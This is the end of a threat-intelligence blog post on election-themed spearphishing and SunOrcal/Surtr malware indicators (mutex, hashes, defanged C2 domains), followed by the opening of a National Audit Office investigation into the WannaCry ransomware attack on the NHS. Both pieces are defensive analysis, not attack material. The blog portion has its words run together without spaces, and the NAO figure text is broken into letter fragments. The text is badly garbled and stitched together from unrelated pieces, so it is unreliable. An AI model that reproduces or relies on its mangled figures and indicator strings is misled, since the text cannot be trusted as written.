Asidefromthecampaigncode,themalwarealsohasahardcodedmutexMBXDSFDAF: http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825bce2970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825bcf9970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates Figure17:HardcodedmutexMBXDSFDAF.
AnotherinterestingobservablefromthemalwaresampleisacalltoaDLLfunction,FunctionWork,whichishardcodedinthemalware.
Figure18:SunOrcalmalwarecallsafunctioncalledFunctionWorkwhichishardcodedinthemalware.
AlthoughwewereunabletofinddirectoverlapinnetworkinfrastructureusedbyourSunOrcalsampleandotherthreatactors,wewereableto identifyotherSunOrcalsampleswhichhavesharednetworkinfrastructurewiththeSurtrmalware,previouslyreportedbyCitizenLabs[13]backin 2013.
Inparticular,byfindingsamplesthatcreatethesamefoldernamesjavameandsunorcal,wecameacrossthefollowingSunOrcalsamples whichsharesthesamemutex,folderstructure,registrypathsandcallstheDLLfunctionFunctionWork: 6b3804bf4a75f77fec98aeb50ab24746(C2:www.olinaodi[.
]com) 1fd33fe7c2800225bfc270f9ae053b65(C2:www.eyesfeel256[.
]com) 397021af7c0284c28db65297a6711235(C2:safetyssl.securitycenters[.
]com) 415f5752bf5182b9d108d7478ba950f9(C2:www.eyesfeel256[.
]com) LookingattheWHOISinformationofolinaodi[.]comandeyesfeel256[.
]comshowthattheyareregisteredwiththesameemailaddress toucan6712163.com.
AreverseWHOISlookupontheemailaddressreturnedatotaloffourteendomains,themajorityofwhichfollowrelated themessuchasfly,dream,eyesandfeel.
Particularlyinterestingisflyoutside[.
]comwhichwasreportedbyCitizenLabin2013asaC2domainassociatedwiththeSurtrmalware.
The SurtrsamplesassociatedwiththisC2are: 7fbdd7cb8b46291e944fcecd5f97d135 http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca22bc970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c825bd1e970b-pi 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates 44758b9a7a6cafd1b8d1bd4c773a2577 6da1abd5d7ed21a3328d9fdfaf061f24 Figure 19:Listofdomainsregisteredusingtheemailaddresstoucan6712163.com.
Basedontheuseofthesameregistrantemailaddressthatisassociatedwithonlyasmallnumberofdomainswithrelatedthemesinadditiontothe targetingofTibetandHongKong,bothofwhichareautonomousregionsthathavebeenproblematictoChinasinternalsecurity,webelievewith highconfidencethatbothSunOrcalandSurtrRATsareusedbythesamethreatactor.
Basedonthecreationdateofsomeofthedomains,webelieve thethreatactorhasbeenactiveasearlyas2010.
Conclusion Spearphishinghaslongbeenoneofthemostcommonandeffectivewaysinwhichanattackercandelivermalwareontovictimmachinesto compromisetargetorganisations.
Thesuccessorfailureofthistechniquereliesontheabilityofattackerstotrickvictimsintoopeningthemalicious attachmentandthisiswhyhighprofileeventsandheadlinesareoftenusedaslures.
Aswithotherhighprofileevents,theTaiwanesepresidentialelectioninJanuarywasnodifferent.
Inthisblogpost,wehaveshownthatthreedistinct espionagethreatactorshaveusedtheelectionasthemetoluretheirvictimsintoopeningthemaliciousdocuments.
Thishighlightstheimportanceof securityawarenesstrainingtoensurestaffmembers,particularlythosewithaccesstosensitiveinformation,remainvigilantinordertohelpdefend againstwellcraftedspearphishingattacks.
MichaelYipCyberThreatDetectionResponse 44(0)2078043900 michael_yip [1]http://www.bloomberg.com/news/articles/20151220/taiwanoppositionhackedaschinascyberspiesstepupattacksiif2vmh1 [2]Seehttp://blog.trendmicro.com/trendlabssecurityintelligence/evilgrabmalwarefamilyusedintargetedattacksinasia/and,morerecently, http://researchcenter.paloaltonetworks.com/2015/06/evilgrabdeliveredbywateringholeattackonpresidentofmyanmarswebsite/ http://pwc.blogs.com/.a/6a00d83451623c69e201bb08ca22f2970d-pi https://uk.linkedin.com/in/michaelyiphw https://twitter.com/michael_yip http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/ http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/ 4/3/2016 Taiwan Presidential Election: A Case Study on Thematic Targeting - Cyber security updates [3]http://www.trendmicro.com/cloudcontent/us/pdfs/securityintelligence/whitepapers/wp_ixeshe.pdf [4]http://www.arbornetworks.com/blog/asert/wpcontent/uploads/2014/06/ASERTThreatIntelligenceBrief201407IlluminatingEtumbotAPT.pdf [5]www.taiwanthinktank.org/english/welcome [6]http://www.taiwanthinktank.org/chinese/page/5/71/3074/0 [7]NotethatitispossibletoprovideafakeaddresswhencreatingaSSLcertificateandsothisdoesnotnecessarilymeanthattheattackercontrolsthisemailaddress.
[
8]https://en.wikipedia.org/wiki/James_To [9]https://zh.wikipedia.org/wiki/E5BCB5E7A780E8B3A2 [10]https://en.wikipedia.org/wiki/Joshua_Wong_(activist) [11]http://contagiodump.blogspot.co.uk/2013/09/sandboxmimingcve20120158inmhtml.html [12]https://whois.domaintools.com/securitycenters.com [13]https://citizenlab.org/2013/08/surtrmalwarefamilytargetingthetibetancommunity/ CybersecurityAreyoureadyforthenewdataprivacyworld?Main Comments VerifyyourComment PreviewingyourComment Postedby: Thisisonlyapreview.
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Report by the Comptroller and Auditor General Department of Health Investigation: WannaCry cyber attack and the NHS HC 414 SESSION 20172019 27 OCTOBER 2017 A picture of the National Audit Office logo Our vision is to help the nation spend wisely.
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Report by the Comptroller and Auditor General Ordered by the House of Commons to be printed on 25 October 2017 This report has been prepared under Section 6 of the National Audit Act 1983 for presentation to the House of Commons in accordance with Section 9 of the Act Sir Amyas Morse KCB Comptroller and Auditor General National Audit Office 24 October 2017 HC 414  10.00 Department of Health Investigation: WannaCry cyber attack and the NHS This report investigates the NHSs response to the cyberattack that affected it in May 2017 and the impact on health services.
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11594 10/17 NAO Investigations We conduct investigations to establish the underlying facts in circumstances whereconcerns have been raised with us, or in response to intelligence that wehave gathered through our wider work.
The National Audit Office study team consisted of: Finnian Bamber, Alex Bowyer, NigelLeung, Francisca Lopes, LindaMills and DavidWilliams, underthe direction ofRobert White.
This report can be found on the National Audit Office website at www.nao.org.uk For further information about the National Audit Office please contact: National Audit Office Press Office 157197 Buckingham Palace Road Victoria London SW1W 9SP Tel: 020 7798 7400 Enquiries: www.nao.org.uk/contact-us Website: www.nao.org.uk Twitter: NAOorguk Contents What this investigation is about 4 Summary 5 Part One The impact of the cyber attack 11 Part Two Why some parts of theNHSwereaffected 16 Part Three How the Department and theNHSresponded 21 Appendix One Our investigative approach 28 Appendix Two Trusts infected or disrupted byWannaCry 30 If you are reading this document using a screen reader you may wish to use the bookmarks to navigate around this document.
4 What this investigation is about Investigation: WannaCry cyber attack and the NHS What this investigation is about 1 On Friday 12 May 2017 a global ransomware attack, known as WannaCry, affected more than 200,000 computers in at least 100 countries.
In the UK, the attack particularly affected the NHS, although it was not the specific target.
At 4 pm on 12May, NHS England declared the cyber attack a major incident and implemented its emergency arrangements to maintain health and patient care.
On the evening of 12 May a cyber-security researcher activated a kill-switch so that WannaCry stopped locking devices.
2 According to NHS England, the WannaCry ransomware affected at least 81 out of the 236 trusts across England, because they were either infected by the ransomware or turned off their devices or systems as a precaution.
A further 603 primary care and other NHS organisations were also infected, including 595 GP practices.
3 Before the WannaCry attack the Department of Health (the Department) and its arms-length bodies had work under way to strengthen cyber-security in the NHS.
For example, NHS Digital was broadcasting alerts about cyber threats, providing a hotline for dealing with incidents, sharing best practice and carrying out on-site assessments to help protect against future cyber attacks and NHS England had embedded the 10 Data Security Standards (recommended by the National Data Guardian) in the standard NHS contract for 2017-18 and was providing training to its Board and local teams to raise awareness of cyber threats.
In light of the WannaCry attack, the Department announced further plans to strengthen NHS organisations cyber-security.
4 Our investigation focuses on events immediately before 12 May 2017 and up until 30 September 2017.
We only cover the effect the WannaCry attack had on the NHS in England.
We do not cover how the WannaCry attack affected other countries or organisations outside the NHS.
A cyber attack on either the health or social care sectors could cause disruption across the whole health and social care sector.
For example, the Care Quality Commission (CQC) told us that, as some trusts were unable to communicate with social services, there could have been delays in the discharge of patients from hospital to social care, although the CQC relayed advice from NHS Digital and NHS England to social care providers to help manage any disruption.
Thisinvestigation sets out the facts about: the ransomware attacks impact on the NHS and its patients why some parts of the NHS were affected and how the Department and NHS national bodies responded to the attack.
Investigation: WannaCry cyber attack and the NHS Summary 5 Summary 1 The WannaCry attack affected NHS services in the week from 12 May to 19May2017.
The Department of Health (the Department) and NHS England worked with NHS Digital, NHS Improvement, the National Cyber Security Centre, the National Crime Agency and others to respond to the attack.
Key findings The risk of a cyber attack affecting the NHS 2 WannaCry was the largest cyber attack to affect the NHS, although individual trusts had been attacked before 12 May 2017.
For example, two of the trusts infected by WannaCry had been infected by previous cyber attacks.
One of Englands biggest trusts, Barts Health NHS Trust, had been infected before, and Northern Lincolnshire and Goole NHS Foundation Trust had been subject to a ransomware attack in October 2016, leading to the cancellation of 2,800 appointments (paragraph 3.7 and Figure 5).
3 The Department was warned about the risks of cyber attacks on the NHS a year before WannaCry and although it had work under way it did not formally respond with a written report until July 2017.
The Secretary of State for Health asked the National Data Guardian and the Care Quality Commission (CQC) to undertake reviews of data security.
These reports were published in July 2016 and warned the Department that cyber attacks could lead to patient information being lost or compromised and jeopardise access to critical patient record systems.
They recommended that all health and care organisations needed to provide evidence that they were taking action to improve cyber-security, including moving off old operating systems.
Although the Department and its arms-length bodies had work under way to improve cyber-security in the NHS, the Department did not publish its formal response to the recommendations until July 2017 (paragraphs3.6 and 3.11).
6 Summary Investigation: WannaCry cyber attack and the NHS 4 The Department and its arms-length bodies did not know whether local NHS organisations were prepared for a cyber attack.
Local healthcare organisations such as trusts and clinical commissioning groups are responsible for keeping the information they hold secure, and for having arrangements in place to respond to an incident or emergency, including a cyber attack.
Local healthcare bodies are overseen by the Department and its arms-length bodies.
The Department and Cabinet Office wrote to trusts in 2014, saying it was essential they had robust plans to migrate away from old software, such as Windows XP, by April 2015.
In March and April 2017, NHS Digital had issued critical alerts warning organisations to patch their systems to prevent WannaCry.
However, before 12 May 2017, the Department had no formal mechanism for assessing whether NHS organisations had complied with its advice and guidance.
Prior to the attack, NHS Digital had conducted an on-site cyber-security assessment for 88 out of 236 trusts, and none had passed.
However, NHS Digital cannot mandate a local body to take remedial action even if it has concerns about the vulnerability of an organisation (paragraphs 2.5, 2.7, 2.10 to 2.12 and 3.2, and Figure 4).
How the WannaCry attack affected the NHS 5 The attack led to disruption in at least 34 of trusts in England although the Department and NHS England do not know the full extent of the disruption (Figure1).
On 12 May, NHS England initially identified 45 NHS organisations including 37 trusts that had been infected by the WannaCry ransomware.
Over the following days, more organisations reported they had been affected.
In total, at least 81out of 236 trusts across England were affected.
The trusts included: 37 infected and locked out of devices (of which, 27 were acute trusts) and 44 not infected but reporting disruption.
For example, these trusts shut down their email and other systems as a precaution and on their own initiative, as they had not received central advice early enough on 12 May to inform their decisions on what to do.
This meant, for example, that they had to use pen and paper for activities usually performed electronically.
NHS England and NHS Digital identified a further 21 trusts that were attempting to contact the WannaCry domain, but were not locked out of their devices.
There are two possible reasons for this.
Trusts may have become infected after the kill-switch had been activated, and were therefore not locked out of their devices.
Alternatively, they may have contacted the WannaCry domain as part of their cyber-security activity.
A further 603 primary care and other NHS organisations were infected by WannaCry, including 595 GP practices.
However, the Department does not know how many NHS organisations could not access records or receive information, because they shared data or systems with an infected trust.
NHS Digital told us that it believes no patient data were compromised or stolen (paragraphs 1.2 to 1.5 and 1.9, and Figure 1).
Investigation: WannaCry cyber attack and the NHS Summary 7 Fi gu re 1 s ho w s th at th e N H S e xp er ie nc ed a w id e ra ng e of d is ru pt io n as a c on se q ue nc e of th e W an na C ry c yb er a tt ac k Fi g u re 1 Th e im pa ct o f W an na C ry o n th e N H S T h e N H S e xp er ie n ce d a w id e ra n g e o f d is ru p ti o n as a c o n se q u en ce o f th e W an n aC ry c yb er a tt ac k N o te s 1 O th er o rg an is at io ns i nc lu d e cl in ic al c om m is si on in g gr ou ps , c om m is si on in g su p p or t u ni ts , a n N H S 1 11 p ro vi d er , a nd n on -N H S b od ie s th at p ro vi d e N H S c ar e, s uc h as a h os p ic e, so ci al e nt er p ris e an d co m m un ity in te re st c om pa ni es .
2 Th e nu m b er s sh ow n ar e ba se d on o rg an is at io ns s el f- re p or tin g p ro b le m s to n at io na l b od ie s, a nd N H S E ng la nd a nd N H S D ig ita ls a na ly si s of in te rn et a ct iv ity , a nd m ay b e hi gh er if so m e or ga ni sa tio ns d id n ot r ep or t t he p ro b le m s th ey e xp er ie nc ed in a ti m el y or a cc ur at e w ay .
3 S om e of th e tr us ts id en tifi e d as n ot in fe ct ed b ut r ep or tin g d is ru pt io n d id h av e a sm al l n um b er o f d ev ic es in fe ct ed .
H ow ev er , t he y d id n ot r ep or t t he m se lv es to N H S E ng la nd a s in fe ct ed , a nd N H S E ng la nd d id n ot r ec at eg or is e th em a s b ei ng in fe ct ed a ft er th e W an na C ry a tt ac k w as o ve r. 4 S om e tr us ts , G P p ra ct ic es a nd o th er o rg an is at io ns w er e id en tifi e d as h av in g sy st em s th at a tt em pt ed to c on ta ct th e W an na C ry d om ai n, b ut w er e no t l oc ke d ou t o f t he ir d ev ic es .
Th er e ar e tw o p os si b le e xp la na tio ns fo r th is : t he y co ul d ha ve b ec om e in fe ct ed a ft er th e ki ll- sw itc h ha d b ee n ac tiv at ed .
O r, th ey c ou ld h av e av oi d ed in fe ct io n b ut c on ta ct ed th e W an na C ry d om ai n as p ar t o f t he ir cy b er -s ec ur ity a ct iv ity .
N H S E ng la nd d oe s no t k no w w hi ch o rg an is at io ns fa ll in to e ac h ca te go ry .
S ou rc e: N at io na l A ud it O ffi ce a na ly si s of N H S E ng la nd d at a Tr us ts in fe ct ed a nd lo ck ed o ut o f d ev ic es 37 (In cl ud in g 27 a cu te tr us ts ) P at ie nt a pp oi nt m en ts c an ce lle d E st im at ed 1 9, 49 4 In cl ud in g ca nc el le d pa tie nt o pe ra tio ns P at ie nt a pp oi nt m en ts c an ce lle d G P p ra ct ic es in fe ct ed a nd lo ck ed o ut o f d ev ic es 59 5 O th er o rg an is at io ns in fe ct ed a nd lo ck ed o ut o f d ev ic es 8 G P p ra ct ic es a nd o th er or ga ni sa tio ns n ot in fe ct ed b ut re po rt in g di sr up tio n 7 G P p ra ct ic es a nd o th er o rg an is at io ns w he re s ys te m s w er e at te m pt in g to co nt ac t W an na C ry d om ai n, b ut n ot lo ck ed o ut o f d ev ic es 71 Tr us ts n ot in fe ct ed bu t r ep or tin g di sr up tio n 44 Tr us ts w he re s ys te m s w er e at te m pt in g to c on ta ct W an na C ry d om ai n, b ut n ot lo ck ed o ut o f d ev ic es 21 N um be r of N H S o rg an is at io ns u na bl e to a cc es s re co rd s be ca us e th ey s ha re d da ta o r sy st em s w ith a n in fe ct ed tr us t N um be r of tr us ts o r G P s th at w er e de la ye d in r ec ei vi ng in fo rm at io n, s uc h as te st r es ul ts , f ro m in fe ct ed tr us ts N um be r of p at ie nt s di ve rt ed fr om a cc id en t a nd e m er ge nc y de pa rt m en ts a t i nf ec te d tr us ts to o th er o rg an is at io ns , i nc lu de s pa tie nt s co nv ey ed in a n am bu la nc e P ri m ar y ca re a n d o th er N H S o rg an is at io n s H o sp it al c ar e K n o w n d is ru p ti o n U n kn o w n d is ru p ti o n 8 Summary Investigation: WannaCry cyber attack and the NHS 6 Thousands of appointments and operations were cancelled and in five areaspatients had to travel further to accident and emergency departments.
Between 12 May and 18 May, NHS England collected some information on cancelled appointments, to help it manage the incident, but this did not include all types of appointment.
NHS England identified 6,912 appointments had been cancelled, and estimated more than 19,000 appointments would have been cancelled in total, based on the normal rate of follow-up appointments to first appointments.
NHS England told us it does not plan to identify the actual number because it is focusing its efforts on responding appropriately to the lessons learned from WannaCry.
As data were not collected during the incident, neither the Department nor NHS England know how many GP appointments were cancelled, or how many ambulances and patients were diverted from the five accident and emergency departments that were unable to treat some patients (paragraphs 1.7, 1.8and1.10, and Figure 1).
7 The Department, NHS England and the National Crime Agency told us that no NHS organisation paid the ransom, but the Department does not know how much the disruption to services cost the NHS.
The Department, NHS England and the National Crime Agency told us no NHS organisation paid the ransom.
NHS Digital told us it advised the trusts it spoke to not to pay the ransom, and wrote to all trusts on 14 May advising against the payment of ransoms.
The Department does not know the cost of the disruption to services.
Costs include: cancelled appointments additional IT support provided by local NHS bodies, or IT consultants or the cost of restoring data and systems affected by the attack.
National and local NHS staff worked overtime including over the weekend of 13-14 May to resolve problems and to prevent a fresh wave of organisations being affected by WannaCry on Monday 15 May (paragraphs 1.11 and 1.12).
8 The cyber attack could have caused more disruption if it had not been stopped by a cyber researcher activating a kill-switch.
On the evening of 12May a cyber-security researcher activated a kill-switch so that WannaCry stoppedlocking devices.
This meant that some NHS organisations had been infected by the WannaCry ransomware, but because of the researchers actions, they were not locked out of theirdevices and systems.
Between 15 May and mid-September NHS Digital and NHSEngland identified a further 92 organisations, including 21 trusts, as contacting theWannaCry domain, although some of these may have been contacting the domain as part of their cyber-security activity.
Of the 37 trusts infected and locked out of devices, 32were located in the North NHS region and the Midlands and East NHS region.
NHSEngland believes more organisations were infected in these regions because they were hit early on 12 May before the WannaCry kill-switch was activated (paragraphs 1.14 and 2.2, and Figure 3).
Investigation: WannaCry cyber attack and the NHS Summary 9 The NHS response to the attack 9 The Department had developed a plan, which included roles and responsibilities of national and local organisations for responding to an attack, but had not tested the plan at a local level.
This meant the NHS was not clear what actions it should take when affected by WannaCry.
NHS England found that responding to WannaCry was different from dealing with other incidents, such as a major transport accident.
Because WannaCry was different it took more time to determine the cause of the problem, the scale of the problem and the number of organisations and people affected (paragraph3.3 and Figure 2).
10 As the NHS had not rehearsed for a national cyber attack it was not immediately clear who should lead the response and there were problems with communications.
The WannaCry attack began on the morning of 12 May.
At 4 pm NHS England declared the cyber attack a major incident and at 6:45 pm initiated its existing Emergency, Preparedness, Resilience and Response plans to act as the single point of coordination for incident management, with support from NHS Digital and NHS Improvement.
In the absence of clear guidelines on responding to a national cyber attack, local organisations reported the attack to different organisations within and outside the health sector, including local police.
Communication was difficult in the early stages of the attack as many local organisations could not communicate with national NHS bodies by email as they had been infected by WannaCry or had shut down their email systems as a precaution, although NHS Improvement did communicate with trusts chief executive officers by telephone.
Locally, NHS staff shared information through personal mobile devices, including using the encrypted WhatsApp application.
Although not an official communication channel, national bodies and trusts told us it worked well during this incident (paragraphs 3.3 to 3.5 and Figure 2).
11 In line with its existing procedures for managing a major incident, NHS England initially focused on maintaining emergency care.
Since the attack occurred on a Friday this caused minimal disruption to primary care services, which tend to be closed over the weekend.
Twenty-two of the 27 infected acute trusts managed to continue treating urgent and emergency patients throughout the weekend.
However, five  in London, Essex, Hertfordshire, Hampshire and Cumbria  had to divert patients to other accident and emergency departments, and a further two needed outside help to continue treating patients.
By 16 May only two hospitals were still diverting patients.
The recovery was helped by the work of the cyber-security researcher that stopped WannaCry spreading (paragraphs 1.7, 1.13 and 1.14).
10 Summary Investigation: WannaCry cyber attack and the NHS Lessons learned 12 NHS Digital told us that all organisations infected by WannaCry shared the same vulnerability and could have taken relatively simple action to protect themselves.
All NHS organisations infected by WannaCry had unpatched or unsupported Windows operating systems so were susceptible to the ransomware.
However, whether organisations had patched their systems or not, taking action to manage their firewalls facing the internet would have guarded organisations against infection.
NHS Digital told us that the majority of NHS devices infected were unpatched but on supported Microsoft Windows 7 operating systems.
Unsupported devices (thoseon XP) were in the minority of identified issues.
NHS Digital has also confirmed that the ransomware spread via the internet, including through the N3 network (the broadband network connecting all NHS sites in England), but that there were no instances of the ransomware spreading via NHSmail (the NHS email system) (paragraphs1.2, 1.6 and 2.4 to 2.6).
13 There was no clear relationship between vulnerability to the WannaCry attack and leadership in trusts.
We found no clear relationship between trusts infected by WannaCry and the quality of their leadership, as rated by the Care Quality Commission (paragraph 2.8).
14 The NHS has accepted that there are lessons to learn from WannaCry and istaking action.
Lessons identified by the Department and NHS national bodies includethe need to: develop a response plan setting out what the NHS should do in the event of a cyber attack and establish the roles and responsibilities of local and national NHSbodies and the Department ensure organisations implement critical CareCERT alerts (emails sent by NHSDigital providing information or requiring action), including applying softwarepatches and keeping anti-virus software up to date ensure essential communications are getting through during an attack whensystems are down and ensure that organisations, boards and their staff are taking the cyber threat seriously, understand the direct risks to front-line services and are working proactively to maximise their resilience and minimise impacts on patient care.
Since WannaCry, NHS England and NHS Improvement have written to every trust, clinical commissioning group and commissioning support unit asking boards to ensurethat they have implemented all 39 CareCERT alerts issued by NHS Digital between March and May 2017 and taken essential action to secure local firewalls (paragraphs 3.8 and 3.9).
Investigation: WannaCry cyber attack and the NHS Part One 11 Part One The impact of the cyber attack 1.1 WannaCry was the largest ever cyber attack to affect the NHS in England.
Thetimeline of the main events relating to the WannaCry ransomware attack which affected NHS services in the week from 12 May to 19 May 2017 is set out in Figure 2 overleaf.
The scale of the attack 1.2 NHS Digital told us that the ransomware spread via the internet, including through the N3 network.
As shown in Figure 1 (page 7), the WannaCry ransomware attack affected at least 81 out of 236 trusts across England.
These numbers are based on NHSorganisations own reports to NHS England.
Of these 81 trusts, there were: 37 trusts infected and locked out of devices (of which, 27 were acute trusts) and 44 trusts not infected but reporting disruption.
NHS England and NHS Digital identified a further 21 trusts that were attempting to contact the WannaCry domain, but were not locked out of their devices.
There are two possible reasons for this.
Trusts may have become infected after the kill-switch had been activated, and were therefore not locked out of their devices.1 Alternatively, they may have contacted the WannaCry domain as part of their cyber-security activity.
1.3 The trusts infected by the WannaCry ransomware experienced two main types of disruption including: NHS staff being locked out of devices, which prevented or delayed staff accessing and updating patient information, sending test results to patients GPs and transferring or discharging patients from hospital and medical equipment and devices being locked, or isolated from trusts IT systems to prevent them being locked.
This meant trusts radiology and pathology departments were disrupted as the trusts relied on the equipment and devices for diagnostic imaging (such as MRI scanners) and for testing blood and tissue samples.
1 A kill-switch is a mechanism that is incorporated into software to shut down that software, or the device on which it sits, in an emergency situation in which it cannot be shut down in the usual manner.
12 Part One Investigation: WannaCry cyber attack and the NHS Fi gu re 2 s ho w s Th e D ep ar tm en t h as m aj or p ro je ct s co ve rin g m os t o f i ts p rio rit y ar ea s Fi g u re 2 Ti m el in e of th e W an na C ry a tt ac k fro m 1 2 M ay to 1 9 M ay 2 01 7 N H S E n g la n d e m er g en cy r es p o n se t o W an n aC ry la st ed o n e w ee k F ri d ay 1 2 M ay - G lo b al r an so m w ar e at ta ck M o n d ay 1 5 M ay F ri d ay 1 9 M ay Fr id ay 1 2 M ay  S u n d ay 1 4 M ay  F irs t p ha se o f N H S E ng la nd s r es po ns e: F oc us o n se cu rin g em er ge nc y ca re p at hw ay s S at u rd ay 1 3 M ay  M o n d ay 1 5 M ay  S ec on d ph as e of N H S E ng la nd s r es po ns e: E ns ur e th at p rim ar y ca re s er vi ce s w er e st ab le M o n d ay 1 5 M ay  F ri d ay 1 9 M ay  T hi rd p ha se o f N H S E ng la nd s r es po ns e: R em ed ia l p ha se S ou rc e: N at io na l A ud it O ffi ce Fr id ay 1 2 M ay L at e m o rn in g  F ir st t ru st s be gi n to r ep or t p ro bl em s 1: 06 p m  F irs t n ot ifi ca tio n to N H S E n g la n d s E m er ge nc y P re pa re dn es s, R es ili en ce a nd R es po ns e te am o f t he a tt ac k 4: 0 0 p m  N H S E n g la n d d ec la re s th e cy be r at ta ck a n at io na l m aj or in ci de nt 6: 45 p m  D ec is io n th at N H S E n g la n d w ou ld le ad th e re sp on se , c o- or di na tin g w ith k ey p ar tn er s, p ar tic ul ar ly N H S D ig ita l E ve n in g  C yb er e xp er t di sc ov er s k ill- sw itc h a nd s to ps m al w ar e sp re ad in g fu rt he r Fr id ay 1 2 M ay Fr on t- lin e st af f i n or ga ni sa tio ns w er e ca lli ng u p ei th er N H S E ng la nd o r N H S D ig ita l a s w el l a s th e po lic e S oc ia l m ed ia w as a ls o re po rt in g th e cy be r at ta ck In iti al ly u nc le ar a s to w ho w as ta ki ng th e le ad .
T he D ep ar tm en t o f H ea lth le ad s on c yb er is su es , b ut on ce it w as c le ar it w as a m aj or o pe ra tio na l i nc id en t N H S E ng la nd to ok th e le ad 59 5 G P p ra ct ic es a nd 4 5 ot he r N H S o rg an is at io ns in fe ct ed , in cl ud in g 27 a cu te tr us ts Fi ve tr us ts w er e un ab le to p ro vi de e m er ge nc y ca re , s o ar ra ng ed to di ve rt p at ie nt s to o th er lo ca tio ns Th er e w as n o fo rm al m ec ha ni sm fo r as se ss in g w he th er N H S or ga ni sa tio ns h ad c om pl ie d w ith N H S D ig ita ls in st ru ct io ns , s o on e w as p ut in p la ce .
T hi s in vo lv ed N H S E ng la nd s E m er ge nc y P re pa re dn es s, R es ili en ce a nd R es po ns e te am r eq ui rin g pr ov id er s to c on fir m a ct io n ha d be en ta ke n on a n um be r of it em s N H S E ng la nd w or ke d w ith IT s up pl ie rs o f G P p ra ct ic es (c om m is si on in g su pp or t u ni ts o r pr iv at e se ct or su pp or t) to p at ch  G P s IT s ys te m s E ns ur in g tr us ts an d pr im ar y ca re or ga ni sa tio ns h ad up -t o- da te a nt iv iru s so ft w ar e in st al le d on th ei r sy st em s 5: 30 p m F ri d ay 1 9 M ay  In ci de nt is s to od d ow n by N H S E ng la nd Tu es d ay 1 6 M ay  O nl y tw o tr us ts di ve rt in g pa tie nt s aw ay fr om A  E B y th e ev en in g o f S u n d ay 1 4 M ay  3 ,4 86 G P pr ac tic es (4 4 ) h ad a pp lie d ne ce ss ar y pa tc he s Investigation: WannaCry cyber attack and the NHS Part One 13 As at 19 May 2017, NHS England had identified 1,220 pieces of diagnostic equipment that had been infected, 1 of all such NHS equipment.
Although a relatively small proportion of devices, the figure does not include devices disconnected from IT systems to prevent infection.
The trusts we spoke to told us about the disruption they had experienced due to diagnostic equipment being infected or isolated, such as not being able to send MRIscan results to clinicians treating patients in other parts of the hospital.
1.4 The disruption at trusts not infected by the ransomware was caused by: the absence of timely central direction, leading to the trusts taking actions on their own initiative to avoid becoming infected, including shutting down devices or isolating devices from their networks to protect themselves from the ransomware or trusts not being able to access electronic patient records or receive information, such as test results, because they shared data or systems with an infected trust which had shut down its systems or trusts disconnecting from the N3 network, the broadband network connecting all NHS sites in England.
1.5 The disruption at these trusts took a number of forms.
For example, some trusts had to use manual workarounds to perform their usual tasks, such as providing medication to patients, and record information using pen and paper.
In addition, organisations could not receive external emails, so communication with national bodies and others outside their trust was severely limited.
1.6 Despite widespread local disruption, NHS Digital told us that national NHS IT systems managed by NHS Digital were not infected, such as the NHS Spine (a service holding secure databases of demographic and clinical information) and NHSmail (theNHS email system).
1.7 Of the 27 acute trusts infected and locked out of devices, five had to divert emergency ambulance services to other hospitals.
The five trusts and hospitals were: Barts Health NHS Trust (Royal London Hospital) Mid Essex Hospital Services NHS Trust (Broomfield Hospital) East and North Hertfordshire NHS Trust (Lister Hospital) Hampshire Hospitals NHS Foundation Trust (Basingstoke Hospital) and North Cumbria University Hospitals NHS Trust (West Cumberland Hospital).
14 Part One Investigation: WannaCry cyber attack and the NHS The impact on patients 1.8 As infected NHS organisations could not access important information and electronic systems, including patient records, they had to cancel appointments and operations and some trusts had to divert patients to other accident and emergency departments.
Between 12 May and 18 May, NHS England collected some information on how many appointments had been cancelled to help it manage the incident, but did not collect data on all types of appointment.
NHS England identified that the NHS had cancelled 6,912 appointments, but this figure does not include repeat outpatient appointments and cancellations identified after 18 May.
NHS England estimated the total number of cancelled appointments as being around 19,494, based on the normal rate of follow-up appointments to first appointments, but told us it does not plan to identify the actual number because it is focusing its efforts on responding appropriately to the lessons learned from WannaCry.
NHS England did not collect data on how many GP appointments were cancelled or how many ambulances and patients were diverted from the accident and emergency departments that were unable to treat patients.
1.9 NHS organisations did not report any cases of harm to patients or of data being compromised or stolen.
If the WannaCry ransomware attack had led to any patient harm or loss of data then NHS England told us that it would expect trusts to report cases through existing reporting channels, such as reporting data loss direct to the Information Commissioners Office (ICO) in line with existing policy and guidance on information governance.
NHS Digital also told us that analysis of the WannaCry ransomware suggested that the cyber attack was not aimed at accessing or stealing data, although itdoes not know for certain that this is the case.
1.10 The NHS continued to provide emergency care from 12 May to 19 May, although some patients had to travel further as five hospitals had diverted services (paragraph 1.7).
Patients with planned appointments experienced most disruption.
Cancer charities, including Macmillan Cancer Support and Cancer Research UK, reported cancellations causing distress to patients.
NHS Englands own review identified at least 139 patients who had an urgent referral for potential cancer cancelled, as at 18 May, although the actual number may be higher if trusts misreported during the data collection or identified cancellations after 18 May.
The financial impact 1.11 The Department of Health (the Department), NHS England and the National Crime Agency have told us that no NHS organisations paid the ransom.
NHS Digital told us it advised against the payment of the WannaCry ransom during site visits and telephone conferences with infected trusts.
Furthermore, NHS England and NHS Digital wrote to all trusts on 14 May advising them against the payment of ransoms, but these emails didnot always reach trusts after that attack had begun.
Investigation: WannaCry cyber attack and the NHS Part One 15 1.12 The NHS has not calculated the total cost of cancelled appointments of NHS staff overtime of additional IT support provided by NHS local bodies or IT consultants or the cost of restoring data and systems affected by the attack.
For example, trusts and other NHS organisations had to roll back systems and restore data and systems, including re-entering data recorded manually while trusts systems were down.
National and local NHS staff had to work overtime, including over the weekend of 1314 May, to resolve problems and to prevent a fresh wave of organisations being affected by WannaCry onMonday 15 May.
The recovery 1.13 In line with its established procedures for responding to a major incident, NHS England focused its initial response on maintaining emergency care, and within 24hours began attending to primary care.
Since the attack occurred on a Friday it caused minimal disruption to primary care services, which tend to be closed over the weekend.
Twenty-two of the 27 infected acute trusts continued treating urgent and emergency patients throughout the weekend.
However, five trusts, including Barts Health NHS Trust, were unable to see some patients and had to divert them to other hospitals, and afurther two needed outside help to continue treating patients.
NHS England worked with trusts to ensure diverts were put in place and help provided.
